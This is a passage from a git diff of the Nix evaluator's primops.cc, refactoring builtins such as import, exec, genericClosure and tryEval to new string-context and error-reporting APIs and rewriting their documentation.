resolve(p)) + return o->origin; + return std::monostate{}; + } +}; + +} diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 7efe50324..9de8ff599 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1,16 +1,19 @@ -#include "archive.hh" #include "derivations.hh" +#include "downstream-placeholder.hh" #include "eval-inline.hh" #include "eval.hh" -#include "globals.hh" +#include "eval-settings.hh" +#include "gc-small-vector.hh" #include "json-to-value.hh" #include "names.hh" -#include "references.hh" +#include "path-references.hh" #include "store-api.hh" #include "util.hh" +#include "processes.hh" #include "value-to-json.hh" #include "value-to-xml.hh" #include "primops.hh" +#include "fetch-to-store.hh" #include #include @@ -21,12 +24,15 @@ #include #include +#include #include -#include + +#ifndef _WIN32 +# include +#endif #include - namespace nix { @@ -34,158 +40,168 @@ namespace nix { * Miscellaneous *************************************************************/ - -InvalidPathError::InvalidPathError(const Path & path) : - EvalError("path '%s' is not valid", path), path(path) {} - -StringMap EvalState::realiseContext(const PathSet & context) +StringMap EvalState::realiseContext(const NixStringContext & context, StorePathSet * maybePathsOut, bool isIFD) { std::vector drvs; StringMap res; - for (auto & i : context) { - auto [ctx, outputName] = decodeContext(*store, i); - auto ctxS = store->printStorePath(ctx); - if (!store->isValidPath(ctx)) - debugThrowLastTrace(InvalidPathError(store->printStorePath(ctx))); - if (!outputName.empty() && ctx.isDerivation()) { - drvs.push_back({ctx, {outputName}}); - } else { - res.insert_or_assign(ctxS, ctxS); - } + for (auto & c : context) { + auto ensureValid = [&](const StorePath & p) { + if (!store->isValidPath(p)) + error(store->printStorePath(p)).debugThrow(); + }; + std::visit(overloaded { + [&](const NixStringContextElem::Built & b) { + drvs.push_back(DerivedPath::Built { + .drvPath = b.drvPath, + .outputs = OutputsSpec::Names { b.output }, + }); + ensureValid(b.drvPath->getBaseStorePath()); + }, + [&](const NixStringContextElem::Opaque & o) { + auto ctxS = store->printStorePath(o.path); + ensureValid(o.path); + if (maybePathsOut) + maybePathsOut->emplace(o.path); + }, + [&](const NixStringContextElem::DrvDeep & d) { + /* Treat same as Opaque */ + auto ctxS = store->printStorePath(d.drvPath); + ensureValid(d.drvPath); + if (maybePathsOut) + maybePathsOut->emplace(d.drvPath); + }, + }, c.raw); } if (drvs.empty()) return {}; - if (!evalSettings.enableImportFromDerivation) - debugThrowLastTrace(Error( + if (isIFD && !settings.enableImportFromDerivation) + error( "cannot build '%1%' during evaluation because the option 'allow-import-from-derivation' is disabled", - store->printStorePath(drvs.begin()->drvPath))); + drvs.begin()->to_string(*store) + ).debugThrow(); /* Build/substitute the context. */ std::vector buildReqs; for (auto & d : drvs) buildReqs.emplace_back(DerivedPath { d }); - store->buildPaths(buildReqs); + buildStore->buildPaths(buildReqs, bmNormal, store); - /* Get all the output paths corresponding to the placeholders we had */ - for (auto & [drvPath, outputs] : drvs) { - const auto outputPaths = store->queryDerivationOutputMap(drvPath); - for (auto & outputName : outputs) { - auto outputPath = get(outputPaths, outputName); - if (!outputPath) - debugThrowLastTrace(Error("derivation '%s' does not have an output named '%s'", - store->printStorePath(drvPath), outputName)); - res.insert_or_assign( - downstreamPlaceholder(*store, drvPath, outputName), - store->printStorePath(*outputPath) - ); + StorePathSet outputsToCopyAndAllow; + + for (auto & drv : drvs) { + auto outputs = resolveDerivedPath(*buildStore, drv, &*store); + for (auto & [outputName, outputPath] : outputs) { + outputsToCopyAndAllow.insert(outputPath); + if (maybePathsOut) + maybePathsOut->emplace(outputPath); + + /* Get all the output paths corresponding to the placeholders we had */ + if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { + res.insert_or_assign( + DownstreamPlaceholder::fromSingleDerivedPathBuilt( + SingleDerivedPath::Built { + .drvPath = drv.drvPath, + .output = outputName, + }).render(), + buildStore->printStorePath(outputPath) + ); + } } } - /* Add the output of this derivations to the allowed - paths. */ - if (allowedPaths) { - for (auto & [_placeholder, outputPath] : res) { - allowPath(store->toRealPath(outputPath)); + if (store != buildStore) copyClosure(*buildStore, *store, outputsToCopyAndAllow); + + if (isIFD) { + for (auto & outputPath : outputsToCopyAndAllow) { + /* Add the output of this derivations to the allowed + paths. */ + allowPath(outputPath); } } return res; } -struct RealisePathFlags { - // Whether to check that the path is allowed in pure eval mode - bool checkForPureEval = true; -}; - -static Path realisePath(EvalState & state, const PosIdx pos, Value & v, const RealisePathFlags flags = {}) +static SourcePath realisePath(EvalState & state, const PosIdx pos, Value & v, std::optional resolveSymlinks = SymlinkResolution::Full) { - PathSet context; + NixStringContext context; - auto path = [&]() - { - try { - return state.coerceToPath(pos, v, context); - } catch (Error & e) { - e.addTrace(state.positions[pos], "while realising the context of a path"); - throw; - } - }(); + auto path = state.coerceToPath(noPos, v, context, "while realising the context of a path"); try { - StringMap rewrites = state.realiseContext(context); - - auto realPath = state.toRealPath(rewriteStrings(path, rewrites), context); - - return flags.checkForPureEval - ? state.checkSourcePath(realPath) - : realPath; + if (!context.empty() && path.accessor == state.rootFS) { + auto rewrites = state.realiseContext(context); + auto realPath = state.toRealPath(rewriteStrings(path.path.abs(), rewrites), context); + path = {path.accessor, CanonPath(realPath)}; + } + return resolveSymlinks ? path.resolveSymlinks(*resolveSymlinks) : path; } catch (Error & e) { e.addTrace(state.positions[pos], "while realising the context of path '%s'", path); throw; } } -/* Add and attribute to the given attribute map from the output name to - the output path, or a placeholder. - - Where possible the path is used, but for floating CA derivations we - may not know it. For sake of determinism we always assume we don't - and instead put in a place holder. In either case, however, the - string context will contain the drv path and output name, so - downstream derivations will have the proper dependency, and in - addition, before building, the placeholder will be rewritten to be - the actual path. - - The 'drv' and 'drvPath' outputs must correspond. */ +/** + * Add and attribute to the given attribute map from the output name to + * the output path, or a placeholder. + * + * Where possible the path is used, but for floating CA derivations we + * may not know it. For sake of determinism we always assume we don't + * and instead put in a place holder. In either case, however, the + * string context will contain the drv path and output name, so + * downstream derivations will have the proper dependency, and in + * addition, before building, the placeholder will be rewritten to be + * the actual path. + * + * The 'drv' and 'drvPath' outputs must correspond. + */ static void mkOutputString( EvalState & state, BindingsBuilder & attrs, const StorePath & drvPath, - const BasicDerivation & drv, const std::pair & o) { - auto optOutputPath = o.second.path(*state.store, drv.name, o.first); - attrs.alloc(o.first).mkString( - optOutputPath - ? state.store->printStorePath(*optOutputPath) - /* Downstream we would substitute this for an actual path once - we build the floating CA derivation */ - /* FIXME: we need to depend on the basic derivation, not - derivation */ - : downstreamPlaceholder(*state.store, drvPath, o.first), - {"!" + o.first + "!" + state.store->printStorePath(drvPath)}); + state.mkOutputString( + attrs.alloc(o.first), + SingleDerivedPath::Built { + .drvPath = makeConstantStorePathRef(drvPath), + .output = o.first, + }, + o.second.path(*state.store, Derivation::nameFromPath(drvPath), o.first)); } /* Load and evaluate an expression from path specified by the argument. */ static void import(EvalState & state, const PosIdx pos, Value & vPath, Value * vScope, Value & v) { - auto path = realisePath(state, pos, vPath); + auto path = realisePath(state, pos, vPath, std::nullopt); + auto path2 = path.path.abs(); // FIXME auto isValidDerivationInStore = [&]() -> std::optional { - if (!state.store->isStorePath(path)) + if (!state.store->isStorePath(path2)) return std::nullopt; - auto storePath = state.store->parseStorePath(path); - if (!(state.store->isValidPath(storePath) && isDerivation(path))) + auto storePath = state.store->parseStorePath(path2); + if (!(state.store->isValidPath(storePath) && isDerivation(path2))) return std::nullopt; return storePath; }; - if (auto optStorePath = isValidDerivationInStore()) { - auto storePath = *optStorePath; - Derivation drv = state.store->readDerivation(storePath); + if (auto storePath = isValidDerivationInStore()) { + Derivation drv = state.store->readDerivation(*storePath); auto attrs = state.buildBindings(3 + drv.outputs.size()); - attrs.alloc(state.sDrvPath).mkString(path, {"=" + path}); + attrs.alloc(state.sDrvPath).mkString(path2, { + NixStringContextElem::DrvDeep { .drvPath = *storePath }, + }); attrs.alloc(state.sName).mkString(drv.env["name"]); - auto & outputsVal = attrs.alloc(state.sOutputs); - state.mkList(outputsVal, drv.outputs.size()); + auto list = state.buildList(drv.outputs.size()); for (const auto & [i, o] : enumerate(drv.outputs)) { - mkOutputString(state, attrs, storePath, drv, o); - (outputsVal.listElems()[i] = state.allocValue())->mkString(o.first); + mkOutputString(state, attrs, *storePath, o); + (list[i] = state.allocValue())->mkString(o.first); } + attrs.alloc(state.sOutputs).mkList(list); auto w = state.allocValue(); w->mkAttrs(attrs); @@ -194,33 +210,27 @@ static void import(EvalState & state, const PosIdx pos, Value & vPath, Value * v state.vImportedDrvToDerivation = allocRootValue(state.allocValue()); state.eval(state.parseExprFromString( #include "imported-drv-to-derivation.nix.gen.hh" - , "/"), **state.vImportedDrvToDerivation); + , state.rootPath(CanonPath::root)), **state.vImportedDrvToDerivation); } - state.forceFunction(**state.vImportedDrvToDerivation, pos); + state.forceFunction(**state.vImportedDrvToDerivation, pos, "while evaluating imported-drv-to-derivation.nix.gen.hh"); v.mkApp(*state.vImportedDrvToDerivation, w); - state.forceAttrs(v, pos); - } - - else if (path == corepkgsPrefix + "fetchurl.nix") { - state.eval(state.parseExprFromString( - #include "fetchurl.nix.gen.hh" - , "/"), v); + state.forceAttrs(v, pos, "while calling imported-drv-to-derivation.nix.gen.hh"); } else { if (!vScope) state.evalFile(path, v); else { - state.forceAttrs(*vScope, pos); + state.forceAttrs(*vScope, pos, "while evaluating the first argument passed to builtins.scopedImport"); - Env * env = &state.allocEnv(vScope->attrs->size()); + Env * env = &state.allocEnv(vScope->attrs()->size()); env->up = &state.baseEnv; - auto staticEnv = std::make_shared(false, state.staticBaseEnv.get(), vScope->attrs->size()); + auto staticEnv = std::make_shared(nullptr, state.staticBaseEnv.get(), vScope->attrs()->size()); unsigned int displ = 0; - for (auto & attr : *vScope->attrs) { + for (auto & attr : *vScope->attrs()) { staticEnv->vars.emplace_back(attr.name, displ); env->values[displ++] = attr.value; } @@ -236,7 +246,7 @@ static void import(EvalState & state, const PosIdx pos, Value & vPath, Value * v } } -static RegisterPrimOp primop_scopedImport(RegisterPrimOp::Info { +static RegisterPrimOp primop_scopedImport(PrimOp { .name = "scopedImport", .arity = 2, .fun = [](EvalState & state, const PosIdx pos, Value * * args, Value & v) @@ -248,58 +258,73 @@ static RegisterPrimOp primop_scopedImport(RegisterPrimOp::Info { static RegisterPrimOp primop_import({ .name = "import", .args = {"path"}, + // TODO turn "normal path values" into link below .doc = R"( - Load, parse and return the Nix expression in the file *path*. If - *path* is a directory, the file ` default.nix ` in that directory - is loaded. Evaluation aborts if the file doesn’t exist or contains - an incorrect Nix expression. `import` implements Nix’s module - system: you can put any Nix expression (such as a set or a - function) in a separate file, and use it from Nix expressions in - other files. + Load, parse, and return the Nix expression in the file *path*. > **Note** > > Unlike some languages, `import` is a regular function in Nix. - > Paths using the angle bracket syntax (e.g., `import` *\*) - > are [normal path values](language-values.md). - A Nix expression loaded by `import` must not contain any *free - variables* (identifiers that are not defined in the Nix expression - itself and are not built-in). Therefore, it cannot refer to - variables that are in scope at the call site. For instance, if you - have a calling expression + The *path* argument must meet the same criteria as an [interpolated expression](@docroot@/language/string-interpolation.md#interpolated-expression). - ```nix - rec { - x = 123; - y = import ./foo.nix; - } - ``` + If *path* is a directory, the file `default.nix` in that directory is used if it exists. - then the following `foo.nix` will give an error: + > **Example** + > + > ```console + > $ echo 123 > default.nix + > ``` + > + > Import `default.nix` from the current directory. + > + > ```nix + > import ./. + > ``` + > + > 123 - ```nix - x + 456 - ``` + Evaluation aborts if the file doesn’t exist or contains an invalid Nix expression. - since `x` is not in scope in `foo.nix`. If you want `x` to be - available in `foo.nix`, you should pass it as a function argument: + A Nix expression loaded by `import` must not contain any *free variables*, that is, identifiers that are not defined in the Nix expression itself and are not built-in. + Therefore, it cannot refer to variables that are in scope at the call site. - ```nix - rec { - x = 123; - y = import ./foo.nix x; - } - ``` - - and - - ```nix - x: x + 456 - ``` - - (The function argument doesn’t have to be called `x` in `foo.nix`; - any name would work.) + > **Example** + > + > If you have a calling expression + > + > ```nix + > rec { + > x = 123; + > y = import ./foo.nix; + > } + > ``` + > + > then the following `foo.nix` will give an error: + > + > ```nix + > # foo.nix + > x + 456 + > ``` + > + > since `x` is not in scope in `foo.nix`. + > If you want `x` to be available in `foo.nix`, pass it as a function argument: + > + > ```nix + > rec { + > x = 123; + > y = import ./foo.nix x; + > } + > ``` + > + > and + > + > ```nix + > # foo.nix + > x: x + 456 + > ``` + > + > The function argument doesn’t have to be called `x` in `foo.nix`; any name would work. )", .fun = [](EvalState & state, const PosIdx pos, Value * * args, Value & v) { @@ -307,6 +332,8 @@ static RegisterPrimOp primop_import({ } }); +#ifndef _WIN32 // TODO implement via DLL loading on Windows + /* Want reasonable symbol names, so extern C */ /* !!! Should we pass the Pos or the file name too? */ extern "C" typedef void (*ValueInitializer)(EvalState & state, Value & v); @@ -316,20 +343,20 @@ void prim_importNative(EvalState & state, const PosIdx pos, Value * * args, Valu { auto path = realisePath(state, pos, *args[0]); - std::string sym(state.forceStringNoCtx(*args[1], pos)); + std::string sym(state.forceStringNoCtx(*args[1], pos, "while evaluating the second argument passed to builtins.importNative")); - void *handle = dlopen(path.c_str(), RTLD_LAZY | RTLD_LOCAL); + void *handle = dlopen(path.path.c_str(), RTLD_LAZY | RTLD_LOCAL); if (!handle) - state.debugThrowLastTrace(EvalError("could not open '%1%': %2%", path, dlerror())); + state.error("could not open '%1%': %2%", path, dlerror()).debugThrow(); dlerror(); ValueInitializer func = (ValueInitializer) dlsym(handle, sym.c_str()); if(!func) { char *message = dlerror(); if (message) - state.debugThrowLastTrace(EvalError("could not load symbol '%1%' from '%2%': %3%", sym, path, message)); + state.error("could not load symbol '%1%' from '%2%': %3%", sym, path, message).debugThrow(); else - state.debugThrowLastTrace(EvalError("symbol '%1%' from '%2%' resolved to NULL when a function pointer was expected", sym, path)); + state.error("symbol '%1%' from '%2%' resolved to NULL when a function pointer was expected", sym, path).debugThrow(); } (func)(state, v); @@ -341,46 +368,45 @@ void prim_importNative(EvalState & state, const PosIdx pos, Value * * args, Valu /* Execute a program and parse its output */ void prim_exec(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceList(*args[0], pos); + state.forceList(*args[0], pos, "while evaluating the first argument passed to builtins.exec"); auto elems = args[0]->listElems(); auto count = args[0]->listSize(); if (count == 0) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("at least one argument to 'exec' required"), - .errPos = state.positions[pos] - })); - PathSet context; - auto program = state.coerceToString(pos, *elems[0], context, false, false).toOwned(); + state.error("at least one argument to 'exec' required").atPos(pos).debugThrow(); + NixStringContext context; + auto program = state.coerceToString(pos, *elems[0], context, + "while evaluating the first element of the argument passed to builtins.exec", + false, false).toOwned(); Strings commandArgs; for (unsigned int i = 1; i < args[0]->listSize(); ++i) { - commandArgs.push_back(state.coerceToString(pos, *elems[i], context, false, false).toOwned()); + commandArgs.push_back( + state.coerceToString(pos, *elems[i], context, + "while evaluating an element of the argument passed to builtins.exec", + false, false).toOwned()); } try { auto _ = state.realiseContext(context); // FIXME: Handle CA derivations } catch (InvalidPathError & e) { - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("cannot execute '%1%', since path '%2%' is not valid", - program, e.path), - .errPos = state.positions[pos] - })); + state.error("cannot execute '%1%', since path '%2%' is not valid", program, e.path).atPos(pos).debugThrow(); } auto output = runProgram(program, true, commandArgs); Expr * parsed; try { - parsed = state.parseExprFromString(std::move(output), "/"); + parsed = state.parseExprFromString(std::move(output), state.rootPath(CanonPath::root)); } catch (Error & e) { - e.addTrace(state.positions[pos], "While parsing the output from '%1%'", program); + e.addTrace(state.positions[pos], "while parsing the output from '%1%'", program); throw; } try { state.eval(parsed, v); } catch (Error & e) { - e.addTrace(state.positions[pos], "While evaluating the output from '%1%'", program); + e.addTrace(state.positions[pos], "while evaluating the output from '%1%'", program); throw; } } +#endif /* Return a string representing the type of the expression. */ static void prim_typeOf(EvalState & state, const PosIdx pos, Value * * args, Value & v) @@ -397,10 +423,10 @@ static void prim_typeOf(EvalState & state, const PosIdx pos, Value * * args, Val case nList: t = "list"; break; case nFunction: t = "lambda"; break; case nExternal: - t = args[0]->external->typeOf(); + t = args[0]->external()->typeOf(); break; case nFloat: t = "float"; break; - case nThunk: abort(); + case nThunk: unreachable(); } v.mkString(t); } @@ -429,9 +455,7 @@ static RegisterPrimOp primop_isNull({ .doc = R"( Return `true` if *e* evaluates to `null`, and `false` otherwise. - > **Warning** - > - > This function is *deprecated*; just write `e == null` instead. + This is equivalent to `e == null`. )", .fun = prim_isNull, }); @@ -532,42 +556,76 @@ static RegisterPrimOp primop_isPath({ .fun = prim_isPath, }); +template + static inline void withExceptionContext(Trace trace, Callable&& func) +{ + try + { + func(); + } + catch(Error & e) + { + e.pushTrace(trace); + throw; + } +} + struct CompareValues { EvalState & state; + const PosIdx pos; + const std::string_view errorCtx; - CompareValues(EvalState & state) : state(state) { }; + CompareValues(EvalState & state, const PosIdx pos, const std::string_view && errorCtx) : state(state), pos(pos), errorCtx(errorCtx) { }; bool operator () (Value * v1, Value * v2) const { - if (v1->type() == nFloat && v2->type() == nInt) - return v1->fpoint < v2->integer; - if (v1->type() == nInt && v2->type() == nFloat) - return v1->integer < v2->fpoint; - if (v1->type() != v2->type()) - state.debugThrowLastTrace(EvalError("cannot compare %1% with %2%", showType(*v1), showType(*v2))); - switch (v1->type()) { - case nInt: - return v1->integer < v2->integer; - case nFloat: - return v1->fpoint < v2->fpoint; - case nString: - return strcmp(v1->string.s, v2->string.s) < 0; - case nPath: - return strcmp(v1->path, v2->path) < 0; - case nList: - // Lexicographic comparison - for (size_t i = 0;; i++) { - if (i == v2->listSize()) { - return false; - } else if (i == v1->listSize()) { - return true; - } else if (!state.eqValues(*v1->listElems()[i], *v2->listElems()[i])) { - return (*this)(v1->listElems()[i], v2->listElems()[i]); + return (*this)(v1, v2, errorCtx); + } + + bool operator () (Value * v1, Value * v2, std::string_view errorCtx) const + { + try { + if (v1->type() == nFloat && v2->type() == nInt) + return v1->fpoint() < v2->integer().value; + if (v1->type() == nInt && v2->type() == nFloat) + return v1->integer().value < v2->fpoint(); + if (v1->type() != v2->type()) + state.error("cannot compare %s with %s", showType(*v1), showType(*v2)).debugThrow(); + // Allow selecting a subset of enum values + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Wswitch-enum" + switch (v1->type()) { + case nInt: + return v1->integer() < v2->integer(); + case nFloat: + return v1->fpoint() < v2->fpoint(); + case nString: + return strcmp(v1->c_str(), v2->c_str()) < 0; + case nPath: + // Note: we don't take the accessor into account + // since it's not obvious how to compare them in a + // reproducible way. + return strcmp(v1->payload.path.path, v2->payload.path.path) < 0; + case nList: + // Lexicographic comparison + for (size_t i = 0;; i++) { + if (i == v2->listSize()) { + return false; + } else if (i == v1->listSize()) { + return true; + } else if (!state.eqValues(*v1->listElems()[i], *v2->listElems()[i], pos, errorCtx)) { + return (*this)(v1->listElems()[i], v2->listElems()[i], "while comparing two list elements"); + } } - } - default: - state.debugThrowLastTrace(EvalError("cannot compare %1% with %2%", showType(*v1), showType(*v2))); + default: + state.error("cannot compare %s with %s; values of that type are incomparable", showType(*v1), showType(*v2)).debugThrow(); + #pragma GCC diagnostic pop + } + } catch (Error & e) { + if (!errorCtx.empty()) + e.addTrace(nullptr, errorCtx); + throw; } } }; @@ -580,145 +638,133 @@ typedef std::list ValueList; #endif -static Bindings::iterator getAttr( +static Bindings::const_iterator getAttr( EvalState & state, - std::string_view funcName, Symbol attrSym, - Bindings * attrSet, - const PosIdx pos) + const Bindings * attrSet, + std::string_view errorCtx) { - Bindings::iterator value = attrSet->find(attrSym); + auto value = attrSet->find(attrSym); if (value == attrSet->end()) { - hintformat errorMsg = hintfmt( - "attribute '%s' missing for call to '%s'", - state.symbols[attrSym], - funcName - ); - - auto aPos = attrSet->pos; - if (!aPos) { - state.debugThrowLastTrace(TypeError({ - .msg = errorMsg, - .errPos = state.positions[pos], - })); - } else { - auto e = TypeError({ - .msg = errorMsg, - .errPos = state.positions[aPos], - }); - - // Adding another trace for the function name to make it clear - // which call received wrong arguments. - e.addTrace(state.positions[pos], hintfmt("while invoking '%s'", funcName)); - state.debugThrowLastTrace(e); - } + state.error("attribute '%s' missing", state.symbols[attrSym]).withTrace(noPos, errorCtx).debugThrow(); } - return value; } static void prim_genericClosure(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceAttrs(*args[0], pos); + state.forceAttrs(*args[0], noPos, "while evaluating the first argument passed to builtins.genericClosure"); /* Get the start set. */ - Bindings::iterator startSet = getAttr( - state, - "genericClosure", - state.sStartSet, - args[0]->attrs, - pos - ); + auto startSet = getAttr(state, state.sStartSet, args[0]->attrs(), "in the attrset passed as argument to builtins.genericClosure"); - state.forceList(*startSet->value, pos); + state.forceList(*startSet->value, noPos, "while evaluating the 'startSet' attribute passed as argument to builtins.genericClosure"); ValueList workSet; for (auto elem : startSet->value->listItems()) workSet.push_back(elem); + if (startSet->value->listSize() == 0) { + v = *startSet->value; + return; + } + /* Get the operator. */ - Bindings::iterator op = getAttr( - state, - "genericClosure", - state.sOperator, - args[0]->attrs, - pos - ); + auto op = getAttr(state, state.sOperator, args[0]->attrs(), "in the attrset passed as argument to builtins.genericClosure"); + state.forceFunction(*op->value, noPos, "while evaluating the 'operator' attribute passed as argument to builtins.genericClosure"); - state.forceValue(*op->value, pos); - - /* Construct the closure by applying the operator to element of + /* Construct the closure by applying the operator to elements of `workSet', adding the result to `workSet', continuing until no new elements are found. */ ValueList res; // `doneKeys' doesn't need to be a GC root, because its values are // reachable from res. - auto cmp = CompareValues(state); + auto cmp = CompareValues(state, noPos, "while comparing the `key` attributes of two genericClosure elements"); std::set doneKeys(cmp); while (!workSet.empty()) { Value * e = *(workSet.begin()); workSet.pop_front(); - state.forceAttrs(*e, pos); + state.forceAttrs(*e, noPos, "while evaluating one of the elements generated by (or initially passed to) builtins.genericClosure"); - Bindings::iterator key = - e->attrs->find(state.sKey); - if (key == e->attrs->end()) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("attribute 'key' required"), - .errPos = state.positions[pos] - })); - state.forceValue(*key->value, pos); + auto key = getAttr(state, state.sKey, e->attrs(), "in one of the attrsets generated by (or initially passed to) builtins.genericClosure"); + state.forceValue(*key->value, noPos); if (!doneKeys.insert(key->value).second) continue; res.push_back(e); /* Call the `operator' function with `e' as argument. */ - Value call; - call.mkApp(op->value, e); - state.forceList(call, pos); + Value newElements; + state.callFunction(*op->value, 1, &e, newElements, noPos); + state.forceList(newElements, noPos, "while evaluating the return value of the `operator` passed to builtins.genericClosure"); /* Add the values returned by the operator to the work set. */ - for (auto elem : call.listItems()) { - state.forceValue(*elem, pos); + for (auto elem : newElements.listItems()) { + state.forceValue(*elem, noPos); // "while evaluating one one of the elements returned by the `operator` passed to builtins.genericClosure"); workSet.push_back(elem); } } /* Create the result list. */ - state.mkList(v, res.size()); - unsigned int n = 0; - for (auto & i : res) - v.listElems()[n++] = i; + auto list = state.buildList(res.size()); + for (const auto & [n, i] : enumerate(res)) + list[n] = i; + v.mkList(list); } -static RegisterPrimOp primop_genericClosure(RegisterPrimOp::Info { +static RegisterPrimOp primop_genericClosure(PrimOp { .name = "__genericClosure", .args = {"attrset"}, .arity = 1, .doc = R"( - Take an *attrset* with values named `startSet` and `operator` in order to - return a *list of attrsets* by starting with the `startSet`, recursively - applying the `operator` function to each element. The *attrsets* in the - `startSet` and produced by the `operator` must each contain value named - `key` which are comparable to each other. The result is produced by - repeatedly calling the operator for each element encountered with a - unique key, terminating when no new elements are produced. For example, + `builtins.genericClosure` iteratively computes the transitive closure over an arbitrary relation defined by a function. - ``` - builtins.genericClosure { - startSet = [ {key = 5;} ]; - operator = item: [{ - key = if (item.key / 2 ) * 2 == item.key - then item.key / 2 - else 3 * item.key + 1; - }]; - } - ``` - evaluates to - ``` - [ { key = 5; } { key = 16; } { key = 8; } { key = 4; } { key = 2; } { key = 1; } ] - ``` + It takes *attrset* with two attributes named `startSet` and `operator`, and returns a list of attribute sets: + + - `startSet`: + The initial list of attribute sets. + + - `operator`: + A function that takes an attribute set and returns a list of attribute sets. + It defines how each item in the current set is processed and expanded into more items. + + Each attribute set in the list `startSet` and the list returned by `operator` must have an attribute `key`, which must support equality comparison. + The value of `key` can be one of the following types: + + - [Int](@docroot@/language/types.md#type-int) + - [Float](@docroot@/language/types.md#type-float) + - [Boolean](@docroot@/language/types.md#type-boolean) + - [String](@docroot@/language/types.md#type-string) + - [Path](@docroot@/language/types.md#type-path) + - [List](@docroot@/language/types.md#list) + + The result is produced by calling the `operator` on each `item` that has not been called yet, including newly added items, until no new items are added. + Items are compared by their `key` attribute. + + Common usages are: + + - Generating unique collections of items, such as dependency graphs. + - Traversing through structures that may contain cycles or loops. + - Processing data structures with complex internal relationships. + + > **Example** + > + > ```nix + > builtins.genericClosure { + > startSet = [ {key = 5;} ]; + > operator = item: [{ + > key = if (item.key / 2 ) * 2 == item.key + > then item.key / 2 + > else 3 * item.key + 1; + > }]; + > } + > ``` + > + > evaluates to + > + > ```nix + > [ { key = 5; } { key = 16; } { key = 8; } { key = 4; } { key = 2; } { key = 1; } ] + > ``` )", .fun = prim_genericClosure, }); @@ -733,24 +779,14 @@ static RegisterPrimOp primop_break({ )", .fun = [](EvalState & state, const PosIdx pos, Value * * args, Value & v) { - if (state.debugRepl && !state.debugTraces.empty()) { + if (state.canDebug()) { auto error = Error(ErrorInfo { .level = lvlInfo, - .msg = hintfmt("breakpoint reached"), - .errPos = state.positions[pos], + .msg = HintFmt("breakpoint reached"), + .pos = state.positions[pos], }); - auto & dt = state.debugTraces.front(); - state.runDebugRepl(&error, dt.env, dt.expr); - - if (state.debugQuit) { - // If the user elects to quit the repl, throw an exception. - throw Error(ErrorInfo{ - .level = lvlInfo, - .msg = hintfmt("quit the debugger"), - .errPos = state.positions[noPos], - }); - } + state.runDebugRepl(&error); } // Return the value we were passed. @@ -766,9 +802,10 @@ static RegisterPrimOp primop_abort({ )", .fun = [](EvalState & state, const PosIdx pos, Value * * args, Value & v) { - PathSet context; - auto s = state.coerceToString(pos, *args[0], context).toOwned(); - state.debugThrowLastTrace(Abort("evaluation aborted with the following error message: '%1%'", s)); + NixStringContext context; + auto s = state.coerceToString(pos, *args[0], context, + "while evaluating the error message passed to builtins.abort").toOwned(); + state.error("evaluation aborted with the following error message: '%1%'", s).setIsFromExpr().debugThrow(); } }); @@ -784,9 +821,10 @@ static RegisterPrimOp primop_throw({ )", .fun = [](EvalState & state, const PosIdx pos, Value * * args, Value & v) { - PathSet context; - auto s = state.coerceToString(pos, *args[0], context).toOwned(); - state.debugThrowLastTrace(ThrownError(s)); + NixStringContext context; + auto s = state.coerceToString(pos, *args[0], context, + "while evaluating the error message passed to builtin.throw").toOwned(); + state.error(s).setIsFromExpr().debugThrow(); } }); @@ -796,21 +834,27 @@ static void prim_addErrorContext(EvalState & state, const PosIdx pos, Value * * state.forceValue(*args[1], pos); v = *args[1]; } catch (Error & e) { - PathSet context; - e.addTrace(nullptr, state.coerceToString(pos, *args[0], context).toOwned()); + NixStringContext context; + auto message = state.coerceToString(pos, *args[0], context, + "while evaluating the error message passed to builtins.addErrorContext", + false, false).toOwned(); + e.addTrace(nullptr, HintFmt(message), TracePrint::Always); throw; } } -static RegisterPrimOp primop_addErrorContext(RegisterPrimOp::Info { +static RegisterPrimOp primop_addErrorContext(PrimOp { .name = "__addErrorContext", .arity = 2, + // The normal trace item is redundant + .addTrace = false, .fun = prim_addErrorContext, }); static void prim_ceil(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - auto value = state.forceFloat(*args[0], args[0]->determinePos(pos)); + auto value = state.forceFloat(*args[0], args[0]->determinePos(pos), + "while evaluating the first argument passed to builtins.ceil"); v.mkInt(ceil(value)); } @@ -829,7 +873,7 @@ static RegisterPrimOp primop_ceil({ static void prim_floor(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - auto value = state.forceFloat(*args[0], args[0]->determinePos(pos)); + auto value = state.forceFloat(*args[0], args[0]->determinePos(pos), "while evaluating the first argument passed to builtins.floor"); v.mkInt(floor(value)); } @@ -855,8 +899,8 @@ static void prim_tryEval(EvalState & state, const PosIdx pos, Value * * args, Va /* increment state.trylevel, and decrement it when this function returns. */ MaintainCount trylevel(state.trylevel); - void (* savedDebugRepl)(ref es, const ValMap & extraEnv) = nullptr; - if (state.debugRepl && evalSettings.ignoreExceptionsDuringTry) + ReplExitStatus (* savedDebugRepl)(ref es, const ValMap & extraEnv) = nullptr; + if (state.debugRepl && state.settings.ignoreExceptionsDuringTry) { /* to prevent starting the repl from exceptions withing a tryEval, null it. */ savedDebugRepl = state.debugRepl; @@ -866,10 +910,11 @@ static void prim_tryEval(EvalState & state, const PosIdx pos, Value * * args, Va try { state.forceValue(*args[0], pos); attrs.insert(state.sValue, args[0]); - attrs.alloc("success").mkBool(true); + attrs.insert(state.symbols.create("success"), &state.vTrue); } catch (AssertionError & e) { - attrs.alloc(state.sValue).mkBool(false); - attrs.alloc("success").mkBool(false); + // `value = false;` is unfortunate but removing it is a breaking change. + attrs.insert(state.sValue, &state.vFalse); + attrs.insert(state.symbols.create("success"), &state.vFalse); } // restore the debugRepl pointer if we saved it earlier. @@ -903,8 +948,8 @@ static RegisterPrimOp primop_tryEval({ /* Return an environment variable. Use with care. */ static void prim_getEnv(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - std::string name(state.forceStringNoCtx(*args[0], pos)); - v.mkString(evalSettings.restrictEval || evalSettings.pureEval ? "" : getEnv(name).value_or("")); + std::string name(state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.getEnv")); + v.mkString(state.settings.restrictEval || state.settings.pureEval ? "" : getEnv(name).value_or("")); } static 